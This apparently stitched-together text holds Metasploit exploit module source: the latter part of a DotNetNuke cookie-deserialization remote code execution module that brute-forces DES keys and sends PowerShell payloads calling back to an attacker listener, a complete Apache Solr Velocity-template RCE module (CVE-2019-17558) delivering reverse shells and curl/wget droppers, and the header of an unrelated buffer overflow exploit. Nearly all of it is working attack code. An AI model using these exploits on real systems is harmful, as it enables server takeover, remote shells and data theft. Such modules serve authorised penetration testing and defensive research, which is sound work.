# is equal to the length of a GUID (no spaces or dashes)
# minus (blocksize - known plaintext length).
@user_id_pt_length = 32 - (8 - @kpt.length)
@user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/
# Plaintext found from decryption (v9.2.2+)
@found_pt = ""
@iv_charset = "0123456789abcdef"
# Possible IVs used to encrypt verification codes (v9.2.2+)
@possible_ivs = Set.new([])
# Possible keys used to encrypt verification codes (v9.2.2+)
@possible_keys = Set.new([])
# passphrases (key + iv) values to use for payload encryption (v9.2.2+)
@passphrases = []
# char sets to use when generating possible base keys
@unchanged = Set.new([65,70])
end
def decode_verification(code)
# Decode verification code base don DNN format
return String.new(
Rex::Text.decode_base64(
code.chomp.gsub(".", "+").gsub("-", "/").gsub("_", "=")
)
)
end
# ==============
# Main function
# ==============
def exploit
return unless check == Exploit::CheckCode::Appears
@encrypted = datastore['ENCRYPTED']
verification_code = datastore['VERIFICATION_CODE']
if File.file?(verification_code)
File.readlines(verification_code).each do |code|
@verification_codes.push(decode_verification(code))
end
else
@verification_codes.push(decode_verification(verification_code))
end
@kpt = datastore['VERIFICATION_PLAIN']
@session_token = datastore['SESSION_TOKEN']
@dry_run = datastore['DryRun']
key = datastore['KEY']
iv = datastore['IV']
if target['ReqEncrypt'] && @encrypted == false
print_warning("Target requires encrypted payload. Exploit may not succeed.")
end
if @encrypted
# Requires either supplied key and IV, or verification code and plaintext
if (!key.blank? && !iv.blank?)
@passphrase = key + iv
# Key and IV were supplied, don't try and decrypt.
@try_decrypt = false
elsif (!@verification_codes.empty? && !@kpt.blank?)
@try_decrypt = true
else
fail_with(Failure::BadConfig, "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).")
end
end
if target['ReqSession']
if @session_token.blank?
fail_with(Failure::BadConfig, "Target requires a valid SESSION_TOKEN for exploitation.")
end
end
if @encrypted && @try_decrypt
# Set IV for decryption as the known plaintext, manually
# apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
# For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.
# For v9.2.2+ it will find an initial base key faster than if padding were enabled.
f8_plain = @kpt[0, 8]
c_iv = f8_plain.unpack("C*") + [8 - f8_plain.length] * (8 - f8_plain.length)
@decryptor.iv = String.new(c_iv.pack("C*"))
@decryptor.padding = 0
key = find_key(@verification_codes[0])
if key.blank?
return
end
if @target_idx == 4
# target is v9.2.2+, requires base64 generated key and IV values.
generate_base_keys(0, key.each_byte.to_a, "")
vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")
# re-enable padding here as it doesn't have the
# same performance impact when trying to find possible IV values.
@decryptor.padding = 1
print_warning("Finding possible base IVs. This may take a few minutes...")
start = Time.now
find_ivs(@verification_codes, key)
elapsed = Time.now - start
vprint_status(
format(
"Found %<n_ivs>d potential Base IV values using %<n_codes>d "\
"verification codes in %<e_time>.2f seconds.",
n_ivs: @possible_ivs.size,
n_codes: @verification_codes.size,
e_time: elapsed.to_s
)
)
generate_payload_passphrases
vprint_status(format("Generated %<n_phrases>d possible base64 KEY and IV combinations.", n_phrases: @passphrases.size))
end
if @passphrase.blank?
# test all generated passphrases by
# sending an exploit payload to the target
# that will callback to an HTTP listener
# with the index of the passphrase that worked.
# set SRVHOST as LHOST value for HTTPServer mixin
datastore['SRVHOST'] = datastore['LHOST']
print_warning("Trying all possible KEY and IV combinations...")
print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
start_service
vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")
test_passphrases
# If no working passphrase has been found,
# wait to allow the the chance for the last one to callback.
if @passphrase.empty? && !@dry_run
sleep(wfs_delay)
end
if service
stop_service
end
print "\r\n"
if !@passphrase.empty?
print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found")
end
end
end
send_exploit_payload
end
# =====================
# For the check command
# =====================
def check
if target.name == 'Automatic'
select_target
end
@target_idx = Integer(datastore['TARGET'])
if @target_idx == 0
fail_with(Failure::NoTarget, 'No valid target found or specified.')
end
# Check if 404 page is custom or not.
# Vulnerability requires custom 404 handling (enabled by default).
uri = normalize_uri(target_uri.path)
print_status("Checking for custom error page at: #{uri} ...")
res = send_request_cgi(
'uri' => uri
)
if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
print_good("Custom error page detected.")
else
print_error("IIS Error Page detected.")
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
# ===========================
# Auto-select target version
# ===========================
def select_target
print_status("Trying to determine DNN Version...")
# Check for copyright version in /Documentation/license.txt
uri = %r{^(.*[\\\/])}.match(target_uri.path)[0]
vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri + 'Documentation', 'License.txt')
)
year = -1
if res && res.code == 200
# License page found, get latest copyright year.
matches = @cr_regex.match(res.body)
if matches
year = matches[0].to_i
end
else
vprint_status("Checking version at #{uri} ...")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri)
)
if res && res.code == 200
# Check if copyright info is in page HTML.
matches = @cr_regex.match(res.body)
if matches
year = matches[0].to_i
end
end
end
if year >= 2018
print_warning(
%q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.")
)
datastore['TARGET'] = 3
elsif year == 2017
print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
datastore['TARGET'] = 2
elsif year < 2017 && year > 2008
print_good("DNN Version Found: v5.1.0 - v9.0.1")
datastore['TARGET'] = 1
elsif year == 2008
print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).")
datastore['TARGET'] = 1
else
print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value")
end
end
# ==============================
# Known plaintext attack to
# brute-force the encryption key
# ==============================
def find_key(cipher_text)
print_status("Finding Key...")
# Counter
total_keys = @key_charset.length**8
i = 1
# Set start time
start = Time.now
# First char
@key_charset.each_byte do |a|
key = a.chr
# 2
@key_charset.each_byte do |b|
key[1] = b.chr
# 3
@key_charset.each_byte do |c|
key[2] = c.chr
# 4
@key_charset.each_byte do |d|
key[3] = d.chr
# 5
@key_charset.each_byte do |e|
key[4] = e.chr
# 6
@key_charset.each_byte do |f|
key[5] = f.chr
# 7
@key_charset.each_byte do |g|
key[6] = g.chr
# 8
@key_charset.each_byte do |h|
key[7] = h.chr
if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
elapsed = Time.now - start
print_search_status(i, elapsed, total_keys)
print_line
if @target_idx == 4
print_good("Possible Base Key Value Found: " + key)
else
print_good("KEY Found: " + key)
print_good("IV Found: " + @passphrase[8..-1])
end
vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s))
return String.new(key)
end
# Print timing info every 5 million attempts
if i % 5000000 == 0
print_search_status(i, Time.now - start, total_keys)
end
i += 1
end
end
end
end
end
end
end
end
elapsed = Time.now - start
print_search_status(i, elapsed, total_keys)
print_line
print_error("Key not found")
vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s))
return nil
end
# ==================================
# Attempt to decrypt a ciphertext
# and obtain the IV at the same time
# ==================================
def decrypt_data_and_iv(cipher, cipher_text, key)
cipher.key = key
begin
plaintext = cipher.update(cipher_text) + cipher.final
if @target_idx == 4
# Target is v9.2.2+
user_id = plaintext[8, @user_id_pt_length]
if @user_id_regex.match(user_id)
return true
end
return false
end
# This should only execute if the version is 9.1.1 - 9.2.1
iv = plaintext[0, 8]
if !@iv_regex.match(iv)
return false
end
# Build encryption passphrase as DNN does.
@passphrase = key + iv
# Encrypt the plaintext value using the discovered key and IV
# and compare with the initial ciphertext
if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
@passphrases.push(String.new(key + iv))
return true
end
rescue StandardError
# Ignore decryption errors to allow execution to continue
return false
end
return false
end
def print_search_status(num_tries, elapsed, max_tries)
msg = format("Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)
print("\r%bld%blu[*]%clr #{msg}")
end
# ===========================
# Encrypt data using the same
# pattern that DNN uses.
# ===========================
def encrypt_data(cipher, message, passphrase)
cipher.key = passphrase[0, 8]
cipher.iv = passphrase[8, 8]
return cipher.update(message) + cipher.final
end
# ===============================================
# Generate all possible base key values
# used to create the final passphrase in v9.2.2+.
# DES weakness allows multiple bytes to be
# interpreted as the same value.
# ===============================================
def generate_base_keys(pos, from_key, new_key)
if !@unchanged.include? from_key[pos]
if from_key[pos] % 2 == 0
new_key[pos] = (from_key[pos] + 1).chr
else
new_key[pos] = (from_key[pos] - 1).chr
end
if new_key.length == 8
@possible_keys.add(String.new(new_key))
# also add key with original value
new_key[pos] = (from_key[pos]).chr
@possible_keys.add(String.new(new_key))
else
generate_base_keys(pos + 1, from_key, String.new(new_key))
# also generate keys with original value
new_key[pos] = (from_key[pos]).chr
generate_base_keys(pos + 1, from_key, String.new(new_key))
end
else
new_key[pos] = (from_key[pos]).chr
if new_key.length == 8
@possible_keys.add(String.new(new_key))
else
generate_base_keys(pos + 1, from_key, String.new(new_key))
end
end
end
# ==============================================
# Find all possible base IV values
# used to create the final Encryption passphrase
# ==============================================
def find_ivs(cipher_texts, key)
num_chars = 8 - @kpt.length
f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/
@decryptor.key = key
found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
# Find all possible IVs for the first ciphertext
brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])
# Reduce IV set by testing against other ciphertexts
cipher_texts.drop(1).each do |cipher_text|
@possible_ivs.each do |iv|
@decryptor.iv = iv
pt = @decryptor.update(cipher_text) + @decryptor.final
if !f8regex.match(pt[0, 8])
@possible_ivs.delete(iv)
end
end
end
end
# ==========================================
# A recursive function to find all
# possible valid IV values using brute-force
# ==========================================
def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
charset = "0123456789abcdef"
if num_chars_needed == 0
@decryptor.key = key
@decryptor.iv = pt_prefix
pt = @decryptor.update(cipher_text) + @decryptor.final
iv = pt[0, 8]
if @iv_regex.match(iv)
pt = pt_prefix + found_pt
if encrypt_data(@encryptor, pt, key + iv) == cipher_text
@possible_ivs.add(String.new(iv))
end
end
return
end
charset.length.times do |i|
brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
end
end
# ========================================
# Generate all possible payload encryption
# passphrases for a v9.2.2+ target
# ========================================
def generate_payload_passphrases
phrases = Set.new(@passphrases)
@possible_keys.each do |key|
@possible_ivs.each do |iv|
phrase = Rex::Text.encode_base64(
encrypt_data(@encryptor, key + iv, key + iv)
)
phrases.add(String.new(phrase[0, 16]))
end
end
@passphrases = phrases.to_a
end
# ===========================================
# Test all generated passphrases by initializing
# an HTTP server to listen for a callback that
# contains the index of the successful passphrase.
# ===========================================
def test_passphrases
for i in 0..@passphrases.size - 1
# Stop sending if we've found the passphrase
if !@passphrase.empty?
break
end
msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size)
print("\r%bld%blu[*]%clr #{msg}")
url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
payload = create_request_payload(url)
cookie = create_cookie(payload)
# Encrypt cookie value
enc_cookie = Rex::Text.encode_base64(
encrypt_data(@encryptor, cookie, @passphrases[i])
)
if @dry_run
print_line
print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
print_line(enc_cookie)
break
end
execute_command(enc_cookie, host: datastore['RHOST'])
end
end
# ===============================
# Request handler for HTTP server.
# ==============================
def on_request_uri(cli, request)
# Send 404 to prevent scanner detection
send_not_found(cli)
# Get found index - should be the only query string parameter
if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]
index = request.qstring[get_resource.delete('/').to_s].to_i
@passphrase = String.new(@passphrases[index])
end
end
# ==============================================
# Create payload to callback to the HTTP server.
# Note: This technically exploits the
# vulnerability, but provides a way to determine
# the valid passphrase needed to exploit again.
# ==============================================
def create_request_payload(url)
psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\""
psh_cmd_bytes = psh_cmd.bytes.to_a
cmd_size_bytes = write_encoded_int(psh_cmd.length)
# Package payload into serialized object
payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
object_size = write_encoded_int(payload_object.length)
# Create the final seralized ObjectStateFormatter payload
final_payload = @osf_header + object_size + payload_object
b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
return b64_payload
end
# =============================================
# Reproduce the WriteEncoded method in
# the native .NET ObjectStateFormatter.cs file.
# =============================================
def write_encoded_int(value)
enc = []
while (value >= 0x80)
v = value | 0x80
enc.push([v].pack("V")[0].unpack1("C*"))
value >>= 7
end
enc.push([value].pack("V")[0].unpack1("C*"))
return enc
end
# =================================
# Creates the payload cookie
# using the specified payload
# =================================
def create_cookie(payload)
cookie = "<profile>"\
"<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\
"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\
"[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\
"Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\
"Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\
"<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
"<ProjectedProperty0>"\
"<MethodName>Deserialize</MethodName>"\
"<MethodParameters>"\
"<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
"xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\
">#{payload}</anyType>"\
"</MethodParameters>"\
"<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
"i:type=\"ObjectStateFormatter\" />"\
"</ProjectedProperty0>"\
"</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
"</item>"\
"</profile>"
return cookie
end
# =========================================
# Send the payload to the target server.
# =========================================
def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
uri = normalize_uri(target_uri.path)
res = send_request_cgi(
'uri' => uri,
'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
)
if !res
fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
elsif res.code == 404
return true
elsif res.code == 400
fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
else
fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
end
end
# ======================================
# Create and send final exploit payload
# to obtain a reverse shell.
# ======================================
def send_exploit_payload
cmd_payload = create_payload
cookie_payload = create_cookie(cmd_payload)
if @encrypted
if @passphrase.blank?
print_error("Target requires encrypted payload, but a passphrase was not found or specified.")
return
end
cookie_payload = Rex::Text.encode_base64(
encrypt_data(@encryptor, cookie_payload, @passphrase)
)
end
if @dry_run
print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
print_warning("Printing exploit cookie payload...")
print_line(cookie_payload)
return
end
# Set up the payload handlers
payload_instance.setup_handler
# Start the payload handler
payload_instance.start_handler
print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
execute_command(cookie_payload, host: datastore['RHOST'])
end
# ===================================
# Create final exploit paylod based on
# supplied payload options.
# ===================================
def create_payload
# Create payload
psh_cmd = "/b /c start /b /min " + cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
remove_comspec: true, encode_final_payload: false
)
psh_cmd_bytes = psh_cmd.bytes.to_a
cmd_size_bytes = write_encoded_int(psh_cmd.length)
# Package payload into serialized object
payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
object_size = write_encoded_int(payload_object.length)
# Create the final seralized ObjectStateFormatter payload
final_payload = @osf_header + object_size + payload_object
b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
vprint_status("Payload Object Created.")
return b64_payload
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Solr Remote Code Execution via Velocity Template',
'Description' => %q(
This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
Velocity template. Currently, this module only supports Solr basic authentication.
From the Tenable advisory:
An attacker could target a vulnerable Apache Solr instance by first identifying a list
of Solr core names. Once the core names have been identified, an attacker can send a specially crafted
HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response
Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity
template parameter in a specially crafted Solr request, leading to RCE.
),
'License' => MSF_LICENSE,
'Author' =>
[
's00py', # Discovery and PoC
'jas502n', # exploit code on Github
'AleWong', # ExploitDB contribution, and exploit code on Github
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
],
'References' =>
[
[ 'EDB', '47572' ],
[ 'CVE', '2019-17558' ],
[ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],
[ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],
[ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],
[ 'URL', 'https://github.com/jas502n/solr_rce'],
[ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],
],
'Platform' => ['linux', 'unix', 'win'],
'Targets' =>
[
[
'Unix (in-memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Linux (dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'CmdStagerFlavor' => %w[curl wget]
}
],
[
'x86/x64 Windows PowerShell',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_psh,
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
}
],
[
'x86/x64 Windows CmdStager',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_cmdstager,
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },
'CmdStagerFlavor' => %w[vbs certutil]
}
],
[
'Windows Exec',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_exec,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' }
}
],
],
'DisclosureDate' => "2019-10-29", # ISO-8601 formatted
'DefaultTarget' => 0,
'Privileged' => false
)
)
register_options(
[
Opt::RPORT(8983),
OptString.new('USERNAME', [false, 'Solr username', 'solr']),
OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),
OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])
]
)
end
# if we are going to exploit, we only need one core to be exploitable
@vuln_core = ""
# OS specific stuff
@target_platform = ""
# if authentication is used
@auth_string = ""
def check_auth
# see if authentication is required for the specified Solr instance
auth_check = solr_get('uri' => normalize_uri(target_uri.path))
# successfully connected?
unless auth_check
print_bad("Connection failed!")
return nil
end
# if response code is not 200, then the Solr instance definitely requires authentication
unless auth_check.code == 200
# if authentication is required and creds are not provided, we cannot reliably check exploitability
if datastore['USERNAME'] == "" && datastore['PASSWORD'] == ""
print_bad("Credentials not provided, skipping credentialed check...")
return nil
end
# otherwise, try the given creds
auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string)
# successfully connected?
unless attempt_auth
print_bad("Connection failed!")
return nil
end
# if the return code is not 200, then authentication definitely failed
unless attempt_auth.code == 200
print_bad("Invalid credentials!")
return nil
end
store_valid_credential(
user: datastore['USERNAME'],
private: datastore['PASSWORD'],
private_type: :password,
proof: attempt_auth.to_s
)
@auth_string = auth_string
end
# a placeholder return value. Not requiring auth should throw no errors
""
end
# check for vulnerability existence
def check
auth_res = check_auth
unless auth_res
return CheckCode::Unknown("Authentication failed!")
end
# send a GET request to get Solr and system details
ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string)
# can't connect? that's an automatic failure
unless ver
return CheckCode::Unknown("Connection failed!")
end
# convert to JSON
ver_json = ver.get_json_document
# get Solr version
solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version'])
print_status("Found Apache Solr #{solr_version}")
# get OS version details
@target_platform = ver_json['system']['name']
target_arch = ver_json['system']['arch']
target_osver = ver_json['system']['version']
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
# uname doesn't show up for Windows, so run a check for that
if ver_json['system']['uname']
# print uname only when verbose
vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")
end
# the vulnerability is only present in Solr versions <= 8.3.0
unless solr_version <= Gem::Version.new('8.3.0')
return CheckCode::Safe("Running version of Solr is not vulnerable!")
end
# enumerate cores
cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string)
# can't connect? that's yet another automatic failure
unless cores
return CheckCode::Unknown("Could not enumerate cores!")
end
# convert to JSON yet again
cores_json = cores.get_json_document
# draw up an array of all the cores
cores_list = Array.new
# get the core names
cores_json['status'].keys.each do |core_name|
cores_list.push(core_name)
end
# no cores? that means nothing to exploit.
if cores_list.empty?
return CheckCode::Safe("No cores found, nothing to exploit!")
end
# got cores? tell the operator which cores were found
print_status("Found core(s): #{cores_list.join(', ')}")
possibly_vulnerable_cores = {}
cores_list.each do |core|
# for each core, attempt to get config
core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string)
# can't retrieve configuration for that core? go next
unless core_config
print_error("Could not retrieve configuration for core #{core}!")
next
end
# convert to JSON
core_config_json = core_config.get_json_document
# if the core configuration does not include the Velocity Response Writer, it isn't vulnerable
if core_config_json['config']['queryResponseWriter'].keys.include?("velocity")
vprint_good("Found Velocity Response Writer in use by core #{core}")
if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true"
vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.")
possibly_vulnerable_cores.store(core, true)
else
# if params.resource.loader.enabled is false, we need to set it to true before exploitation
print_warning("params.resource.loader.enabled for core #{core} is set to false.")
possibly_vulnerable_cores.store(core, false)
end
else
vprint_error("Velocity Response Writer not found in core #{core}")
next
end
end
# look at the array of possibly vulnerable cores
if possibly_vulnerable_cores.empty?
CheckCode::Safe("No cores are vulnerable!")
else
# if possible, pick a core that already has params.resource.loader.enabled set to true
possibly_vulnerable_cores.each do |core|
if core[1] == true
@vuln_core = core
break
end
end
# otherwise, just pick the first one
if @vuln_core.to_s == ""
@vuln_core = possibly_vulnerable_cores.first
end
CheckCode::Vulnerable
end
end
# the exploit method
def exploit
unless [CheckCode::Vulnerable].include? check
fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!"
end
print_status("Targeting core '#{@vuln_core[0]}'")
# if params.resource.loader.enabled for that core is false
if @vuln_core[1] != true
# the new config in JSON format
enable_params_resource_loader = {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}.to_json
opts_post = {
'method' => 'POST',
'connection' => 'Keep-Alive',
'ctype' => 'application/json;charset=utf-8',
'encode_params' => false,
'uri' => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'),
'data' => enable_params_resource_loader
}
unless @auth_string == ""
opts_post.store('authorization', @auth_string)
end
print_status("params.resource.loader.enabled is false, setting it to true...")
update_config = send_request_cgi(opts_post)
unless update_config
fail_with Failure::Unreachable, "Connection failed!"
end
# if we got anything other than a 200 back, the configuration update failed and the exploit won't work
unless update_config.code == 200
fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!"
end
print_good("params.resource.loader.enabled is now set to true!")
end
# windows...
if @target_platform.include? "Windows"
# if target is wrong, warn and exit before doing anything
unless target.name.include? "Windows"
fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!"
end
case target['Type']
# PowerShell...
when :windows_psh
# need PowerShell for this
winenv_path = execute_command("C:\\Windows\\System32\\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)
unless winenv_path
fail_with Failure::Unreachable, "Connection failed!"
end
# did the command to check for PATH execute?
unless winenv_path.code == 200
fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!"
end
# is PowerShell in PATH?
if /powershell/i =~ winenv_path.body.to_s
# only interested in the contents of PATH. Everything before it is irrelevant
paths = winenv_path.body.split('=')[1]
# confirm that PowerShell exists in the PATH by checking each one
paths.split(';').each do |path_val|
# if PowerShell exists in PATH, then we are good to go
unless /powershell/i =~ path_val
next
end
print_good("Found Powershell at #{path_val}")
# generate PowerShell command, encode with base64, and remove comspec
psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
# specify full path to PowerShell
psh_cmd.insert(0, path_val)
# exploit the thing
execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
break
end
else
fail_with Failure::BadConfig, "PowerShell not found!"
end
# ... CmdStager ...
when :windows_cmdstager
print_status("Sending CmdStager payload...")
execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
# ... or plain old exec?
when :windows_exec
cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}"
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
end
end
# ... or nix-based?
if @target_platform.include? "Linux"
# if target is wrong, warn and exit before doing anything
if target.name.include? "Windows"
fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!"
end
case target['Type']
when :linux_dropper
execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])
when :unix_memory
cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
end
end
end
# some prep work has to be done to work around the limitations of Java's Runtime.exec()
def execute_cmdstager_begin(_opts)
if @target_platform.include? "Windows"
@cmd_list.each do |command|
command.insert(0, "C:\\Windows\\System32\\cmd.exe /c ")
end
else
@cmd_list.each do |command|
command.insert(0, "/bin/bash -c $@|/bin/bash . echo ")
end
end
end
# sic 'em, bois!
def execute_command(cmd, opts = {})
# custom template which enables command execution
template = <<~VELOCITY
#set($x="")
#set($rt=$x.class.forName("java.lang.Runtime"))
#set($chr=$x.class.forName("java.lang.Character"))
#set($str=$x.class.forName("java.lang.String"))
VELOCITY
# attempts to solve the quoting problem, partially successful
if target.name.include?("Unix")
template += <<~VELOCITY
#set($ex=$rt.getRuntime().exec("#{cmd}"))
VELOCITY
else
template += <<~VELOCITY
#set($ex=$rt.getRuntime().exec('#{cmd}'))
VELOCITY
end
template += <<~VELOCITY
$ex.waitFor()
VELOCITY
# the next 2 lines cause problems with CmdStager, so it's only used when needed
# during the check for PowerShell existence, or by specific payloads
if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory
template += <<~VELOCITY
#set($out=$ex.getInputStream())
#if($out.available())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
#else
#end
VELOCITY
end
# execute the exploit...
raw_result = solr_get(
'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
'auth' => opts['auth_string'],
'vars_get' => {
'q' => '1',
'wt' => 'velocity',
'v.template' => 'custom',
'v.template.custom' => template
}
)
# Executing PATH always gives a result, so it can return safely
if opts['winenv_check']
return raw_result
end
# for printing command output
unless raw_result.nil?
unless raw_result.code == 200
fail_with Failure::PayloadFailed, "Payload failed to execute!"
end
# to get pretty output
result_inter = raw_result.body.to_s.sub("0\n", ":::").split(":::").last
unless result_inter.nil?
final_result = result_inter.split("\n").first.strip
print_good(final_result)
end
end
end
# make sending requests easier
def solr_get(opts = {})
send_request_cgi_opts = {
'method' => 'GET',
'connection' => 'Keep-Alive',
'uri' => opts['uri']
}
# @auth_string defaults to "" if no authentication is necessary
# otherwise, authentication is required
if opts['auth'] != ""
send_request_cgi_opts.store('authorization', opts['auth'])
end
# a bit unrefined, but should suffice in this case
if opts['vars_get']
send_request_cgi_opts.store('vars_get', opts['vars_get'])
end
send_request_cgi(send_request_cgi_opts)
end
end
# Exploit Title: Easy MPEG to DVD Burner 1.7.11 - Buffer Overflow (SEH + DEP)
# Date: 2020-04-15
# Exploit Author: Bailey Belisario
